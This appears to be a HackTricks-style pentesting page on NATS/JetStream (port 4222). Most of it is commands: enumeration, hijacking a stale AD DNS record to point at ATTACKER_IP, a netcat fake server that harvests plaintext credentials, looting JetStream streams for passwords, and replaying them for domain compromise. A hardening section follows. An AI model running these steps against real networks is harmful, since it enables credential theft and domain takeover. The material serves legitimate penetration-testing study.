// HackTricks · Network Services

4222 - Pentesting NATS / JetStream

4222 - Pentesting NATS / JetStream

Basic Information

NATS is a high-performance message bus that speaks a simple text-based protocol: the server transmits an INFO { ... } JSON banner immediately after TCP connect, and the client replies with a CONNECT {"user":"USERNAME","pass":"PASSWORD",...} frame followed by optional PING/PUB/SUB commands. JetStream adds persistence primitives (Streams & Consumers) on top of the same TCP port (4222/tcp). TLS and authentication are optional, so many internal deployments run plaintext AUTH.

  • Default client port: 4222/tcp; the conventional cluster-route port is 6222/tcp, and optional HTTP monitoring commonly uses 8222/tcp.[2]
  • Stock banner fields: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumeration

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

The INFO frame can also be pulled manually:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Install the official CLI for deeper interaction; check the current project’s Go toolchain requirement before building from source.[4]

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Authentication failures immediately raise nats: Authorization Violation, so valid creds are required for any meaningful RPC.

Credential capture via DNS/service impersonation

  • Identify stale AD DNS entries for the broker hostname (e.g. nats-svc.domain.local). If the record returns NXDOMAIN, a low-privileged domain user can recreate it thanks to default dynamic-update ACLs. See AD DNS Records abuse for background.[1]
  • Register the hostname to an attacker-controlled IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • In a lab, mirror the legitimate banner and observe whether a legacy username/password client sends a CONNECT frame before authenticating the server. This credential-capture condition requires plaintext NATS or TLS without server identity validation; correctly validated TLS prevents simple DNS impersonation.[3]
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • As soon as an internal client resolves the hijacked name, it will emit a plaintext CONNECT frame containing the user / pass pair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, even nc is enough to harvest secrets.
  • For longer engagements, build the official server locally and inspect the relevant version in a lab. TRACE logging can expose usernames; code instrumentation or packet capture may reveal additional authentication material when transport encryption is absent.[4]
git clone https://github.com/nats-io/nats-server
cd nats-server
go build
./nats-server -V

JetStream looting & password hunting

Once any credential is recovered (e.g. Dev_Account_A), store it as a CLI context to avoid retyping:[1]

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

JetStream discovery usually follows this pattern:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Streaming teams frequently log authentication events into subjects such as logs.auth. If developers persist the raw JSON into a JetStream stream, the payloads may include plaintext AD usernames and passwords:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Retained secrets can then be replayed against Kerberos-only services using netexec smb DC01 -u USER -p PASS -k, enabling full domain compromise.

Hardening & detection

  • Enforce and validate TLS through the server’s tls configuration and confirm the advertised tls_required behavior; optionally require client certificates for mTLS. NKey/JWT authentication material is commonly distributed in .creds files, but NKeys/credentials are distinct from TLS client certificates.[3]
  • Pinpoint who can update DNS – delegate service records to dedicated accounts and audit Event IDs 257/252 for high-value hostnames. Combine with scavenging alerts so missing broker names cannot be silently re-claimed.
  • Disable credential logging. Scrub secrets before publishing to subjects, set JetStream retention/age limits, and restrict stream-management permissions to trusted operators.
  • Monitor for banner anomalies – repeated short-lived connections, authentication timeouts, or INFO banners that do not match the blessed template suggest spoofed servers.

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.